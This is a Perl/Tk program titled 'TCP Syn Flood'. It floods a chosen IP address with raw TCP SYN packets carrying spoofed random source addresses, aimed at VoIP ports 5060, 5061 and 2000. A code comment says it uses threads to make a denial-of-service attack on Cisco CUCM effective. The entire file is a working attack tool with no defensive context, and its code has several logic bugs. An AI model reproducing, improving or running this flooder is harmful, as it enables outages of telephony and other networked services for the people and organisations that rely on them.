#!/usr/bin/perl
use threads;
use threads::shared;
use IO::Socket::INET;
use Getopt::Long qw(GetOptions);
use POSIX qw(setsid strftime);
use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Tk::MsgBox;
require Tk::Dialog;
use Net::RawIP;


# ------- global variables declaration ----------------
my @SupportedTCPPort = ( "5060 (SIP)","5061 (SIP TLS)","2000 (Skinny)");
my $StopFlood = 1; # if 1 flood is impossible or stop. If 0 flood is launch and under going
my $Counter = 0;
my $dst_port = "0";
my $src_port = "0";
my $PacketToSend = new Net::RawIP();
my $StopFlood:shared = 0;

#my $PacketToSend = new Net::RawIP({tcp=>{}});

#-------- GUI creation --------------------------------

my $subweb_mw = MainWindow->new(
						-title => 'TCP Syn Flood');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
		
$file_mb->command(
		-label=>'Launch TCP SYN Flood',
		-command => sub{&TCPFLOOD}
		);

$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#-------------DEFAULT WIDTH 79 --------------
my $FrameTOP = $subweb_mw -> Frame ();
$FrameTOP->Label(
	-text => 'IP Address to flood (192.168.1.1):'
	)->pack(-side => 'left');
my $TextLabel = $FrameTOP -> Entry(
	-textvariable => \$AddressToFlood
	)->pack(-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#-------------DEFAULT WIDTH 79 --------------
my $FrameMiddle = $subweb_mw -> Frame ();
$FrameMiddle->Label(
	-text => 'TCP port to flood:                        '
	)->pack(-side => 'left');
my $Lbox11 = $FrameMiddle -> Listbox (
	-height  => 3,
	-selectmode => 'single',
	);	
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');
$Lbox11->insert('end', @SupportedTCPPort );
$Lbox11->selectionSet(2);

my $scroll = $FrameMiddle->Scrollbar(-command => ['yview', $Lbox11]);
$Lbox11->configure(-yscrollcommand => ['set', $scroll]);
$Lbox11->pack(-side => 'left', -fill => 'both', -expand => 1);
$scroll->pack(-side => 'right', -fill => 'y');
$FrameMiddle -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

$TextWidget = $FrameMIDDLE4->Text(); 
$TextWidget->configure(-height => 20);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);

$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);
$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);

$scrollbar->pack(-side => 'right', -fill => 'y');

$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE5 = $subweb_mw -> Frame (-width => 40, -height => 15);
$FrameMIDDLE5->Button(
	-width => 79,
	-text    => 'Stop flooding',
	-command => sub {&STOP_FLOOD}
	)->pack(-side => 'bottom', -expand => 1, -fill => 'both');

$FrameMIDDLE5  -> pack (-side => 'top');



#------------ LAUNCHING THE MAIN LOOP --------
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------


sub TCPFLOOD
{
	@index = $Lbox11->curselection();
	$ActivePort=@SupportedTCPPort[@index];

	if ($ActivePort == "5060 (SIP)")
	{
		$dst_port ="5060";
		&FLOOD();
	};
	if ($ActivePort == "5061 (SIP TLS)")
	{
		$dst_port ="5061";
		&FLOOD();
	};
	if ($ActivePort == "2000 (Skinny)")
	{
		$dst_port ="2000";
		&FLOOD();	
	};	

}

sub FLOOD()
{
	$StopFlood = 0;

	$TextWidget->insert ("end","-------------------------------------------------------------------------------\n");
	$TextWidget->insert ("end","Start flooding on TCP Port: $ActivePort \n");	
	$TextWidget->update();
	$TextWidget->see ('end');

	$dst_addr = $AddressToFlood;
	$thr_flood = threads->new(\&LAUNCH_FLOOD); # Create the threads			
}


sub LAUNCH_FLOOD()
{
	#threads are a necessity to be performant enough to create a DoS on CUCM
	# Without them the attack is much too slow to impact the solution.
	while($StopFlood==0) 
	{		
		$thr = threads->new(\&SETPACKET); # Create the tehreads
    	$thr->detach; # Execute the whole SETPACKET subfunction and kill himself. 
	}
	
	#http://search.cpan.org/~jdhedden/threads-1.86/lib/threads.pm
}

sub SETPACKET()
{
	my $counter_flood=1000;
	my $PacketToSend = new Net::RawIP();
	
	while($counter==0) 
	{	
		$src_port = rand(65534)+1;
		$src_addr = &RANDOMIP();
		
		$PacketToSend->set({
			ip => {
				saddr => $src_addr,
				daddr => $dst_addr,
				},
			tcp => {
				source => $src_port,
				dest => $dst_port,
				window => 1500,
				urg => 0,
				ack => 0,
				psh => 0,
				rst => 0, 
				syn => 1,
				fin => 0,
				}
			});

									
		#0: send packet without delay
		#20000: send 20000 packets.
		$PacketToSend->send(0,1);
		
		$counter_flood = $counter_flood -1;
		
		if ($counter_flood==0)
		{
			$counter=1;
		}
	}
	exit thread;
}

sub RANDOMIP()
{
	$range = 255;
	$iA = int(rand($range));
	$iB = int(rand($range));
	$iC = int(rand($range));
	$iD = int(rand($range));
	
	return $iA.".".$iB.".".$iC.".".$iD;
}

sub STOP_FLOOD()
{
	$StopFlood=1;
	$TextWidget->insert ("end","\nStop flooding on TCP Port: $ActivePort \n");		
	$TextWidget->insert ("end","-------------------------------------------------------------------------------\n");
	$TextWidget->update();
	$TextWidget  -> see ('end');
}
